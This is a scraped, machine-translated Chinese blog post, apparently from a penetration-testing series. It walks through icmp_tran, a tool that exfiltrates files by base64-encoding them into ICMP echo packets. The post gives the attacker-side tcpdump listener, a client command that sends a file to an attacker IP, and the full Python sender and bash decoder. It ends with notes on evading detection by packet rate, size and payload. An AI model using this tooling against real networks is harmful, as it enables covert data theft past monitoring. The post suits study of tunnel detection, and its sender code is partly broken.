当前位置:网站首页>Intranet penetration series: ICMP of Intranet tunnel_ Tran
Intranet penetration series: ICMP of Intranet tunnel_ Tran
2022-04-23 08:01:00 【Fish in Siyuan Lake】
Preface
This paper studies ICMP A tool for tunnels ,icmp_tran
github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate
One 、 summary
1、 brief introduction
Last updated on 2015 year , use Python To write , Will file base64 After the coding , adopt ICMP Packet transmission
Conditions :
- The target can ping get out
- Target machine administrator privileges
2、 principle
ICMP For the principle of tunnel, see : Intranet penetration series : Of Intranet tunnels ICMP Tunnel
3、 Use
(1) Server side
tucpdump Listen and download files
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
function sh Script
./tran.sh
(2) client
windows
icmp_tran.exe <file> <attacker-IP>
linux
sudo python icmp_tran.py <file> <attacker-IP>
Two 、 practice
1、 scene
attack ( Server side ):kali 192.168.10.128
Target machine ( client ):ubuntu 192.168.10.129
The target can ping Communication attack machine

2、 Build a tunnel
(1) Attacker monitoring
tucpdump Listen and download files
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
(2) Target sending
Prepare one test.zip file

Establish a tunnel to send
sudo python icmp_tran.py test.zip 192.168.10.128
(3) Attacker conversion
Received documents

convert

Succeed in getting zip file

3、 Grab the bag and have a look
You can see both of them ICMP package ,data Is in the base64 code

3、 ... and 、 Explore
1、 Source code and Analysis
(1)icmp_tran.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
import socket
import struct
import select
import random
import asyncore
import os
import sys
ICMP_ECHO_REQUEST = 8
TIME_OUT = 1 # The duration depends on the situation
ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = {
1: ' - Note that ICMP messages can only be sent from processes running as root.',
10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
}
__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(id):
""" Construct a echo request packet"""
# header The structure of is type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
data = "$$START$$"+line
my_checksum = checksum(header + data)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
return header + data
def send_packet(dest_addr, timeout=TIME_OUT):
# Confirm that it can be sent
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR: # Not high authority
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
try:
host = socket.gethostbyname(dest_addr) # host
except socket.gaierror:
return
# establish packet
packet_id = int((id(timeout) * random.random()) % 65535)
packet = create_packet(packet_id)
# send out packet
while packet:
sent = my_socket.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
delay = receive_packet(my_socket, packet_id, time.time(), timeout)
my_socket.close()
return delay
def receive_packet(my_socket, packet_id, time_sent, timeout):
time_left = timeout
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []: # Timeout
return
time_received = time.time()
rec_packet, addr = my_socket.recvfrom(1024)
icmp_header = rec_packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
if p_id == packet_id:
return time_received - time_sent
time_left -= time_received - time_sent
if time_left <= 0:
return
def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
for i in range(count):
print('ping {}...'.format(dest_addr))
delay = send_packet(dest_addr, timeout)
if delay == None:
print('failed. (Timeout within {} seconds.)'.format(timeout))
else:
delay = round(delay * 1000.0, 4)
print('get ping in {} milliseconds.'.format(delay))
print('')
class PingQuery(asyncore.dispatcher):
def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
asyncore.dispatcher.__init__(self)
try:
self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR:
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
self.time_received = 0
self.time_sent = 0
self.timeout = timeout
self.packet_id = int((id(timeout) / p_id) % 65535)
self.host = host
self.packet = create_packet(self.packet_id)
if ignore_errors:
self.handle_error = self.do_not_handle_errors
self.handle_expt = self.do_not_handle_errors
def writable(self):
return self.time_sent == 0
def handle_write(self):
self.time_sent = time.time()
while self.packet:
sent = self.sendto(self.packet, (self.host, 1))
self.packet = self.packet[sent:]
def readable(self):
if (not self.writable()
and self.timeout < (time.time() - self.time_sent)):
self.close()
return False
return not self.writable()
def handle_read(self):
read_time = time.time()
packet, addr = self.recvfrom(1024)
header = packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
if p_id == self.packet_id:
self.time_received = read_time
self.close()
def get_result(self):
if self.time_received > 0:
return self.time_received - self.time_sent
def get_host(self):
return self.host
def do_not_handle_errors(self):
pass
def create_socket(self, family, type, proto):
sock = socket.socket(family, type, proto)
sock.setblocking(0)
self.set_socket(sock)
self.family_and_type = family, type
def handle_connect(self):
pass
def handle_accept(self):
pass
def handle_close(self):
self.close()
def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
results, host_list, id = {
}, [], 0
for host in hosts:
try:
host_list.append(socket.gethostbyname(host))
except socket.gaierror:
results[host] = None
while host_list:
sock_list = []
for ip in host_list[:step]: #step At most 512
id += 1
sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
host_list.remove(ip)
asyncore.loop(timeout)
for sock in sock_list:
results[sock.get_host()] = sock.get_result()
return results
if __name__ == '__main__':
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
print(msg)
file=sys.argv[1]
destination = sys.argv[2]
# os.system("certutil -encode "+ file +" test.txt") # windows
os.system("base64 "+ file +" > test.txt") # linux
f=open("test.txt", "r")
for line in f:
text1= line[0:32]
verbose_ping(destination)
host_list = [destination]
for host, ping in multi_ping_query(host_list).iteritems():
print(host, '=', ping)
(2)tran.sh
Namely base64 Decode to get the file
#!/bin/bash
strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"
2、 Detection and bypass
(1) abnormal ICMP Number of packets
0.01s Inside 10 A package , Of course, there is no relevant strategy , Can be changed to and ping Same interval , The main thing is that this is a file transfer and it's over , therefore maybe You can learn martial arts all over the world, but you can't break it quickly , As the case may be

(2) abnormal ICMP Bag length
It has been split
(3)payload Content
payload The content is still something that cannot be avoided
normal ping command :
windows Under the system ping The default transmission is :abcdefghijklmnopqrstuvwabcdefghi, common 32bytes
linux Under the system ,ping The default transmission is 48bytes, front 8bytes Over time , The back is fixed , The content is !”#$%&’()+,-./01234567
The content must still be normal ping Different commands
however send and receive It's the same thing
Conclusion
Simply try how to transfer files
版权声明
本文为[Fish in Siyuan Lake]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230628265563.html
边栏推荐
- Redis -- why is the string length of string emstr the upper limit of 44 bytes?
- Solve the problem of deploying mysql8 in docker with correct password but unable to log in to MySQL
- Internal network security attack and defense: a practical guide to penetration testing (8): Authority maintenance analysis and defense
- Houdini>建筑道路可变,学习过程笔记
- Gets the maximum getmaxpoint in the list of all points
- Export all SVG files in the specified path into pictures in PNG format (thumbnail or original size)
- Feign源码分析
- 攻防世界MISC刷题1-50
- The problem of exporting excel form with wireframe and internal spacing of form by using web form
- Intranet penetration series: icmpsh of Intranet tunnel
猜你喜欢

Buctf MISC brossage

CTF攻防世界刷题51-

Internal network security attack and defense: a practical guide to penetration testing (5): analysis and defense of horizontal movement in the domain

Chapter V investment real estate

内网渗透系列:内网隧道之icmpsh

Intranet penetration series: icmptunnel of Intranet tunnel (by master dhavalkapil)

攻防世界MISC刷题1-50

云计算技能大赛 -- openstack私有云环境 第一部分

Internal network security attack and defense: a practical guide to penetration testing (8): Authority maintenance analysis and defense

sentinel集成nacos动态更新数据原理
随机推荐
企业微信免登录跳转自建应用
Expression related to month, year and day in SVG
《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御
随笔(不定时更新)
ABAP ALV显示金额与导出金额不一致
Houdini > variable building roads, learning process notes
String self generated code within a given range
Intranet security attack and defense: a practical guide to penetration testing (6): domain controller security
读取修改resource文件夹下的json文件
IT高薪者所具备的人格魅力
内网渗透系列:内网隧道之icmpsh
05数组的使用
Redis--为什么字符串emstr的字符串长度是44字节上限?
BUUCTF MISC刷題
Export all SVG files in the specified path into pictures in PNG format (thumbnail or original size)
The problem of exporting excel form with wireframe and internal spacing of form by using web form
Analysis of Nacos source code
About USB flash drive data prompt raw, need to format, data recovery notes
从零开始完整学习机器学习和深度学习,包括理论和代码实现,主要用到scikit和MXNet,还有一些实践(kaggle上的)
第四章 无形资产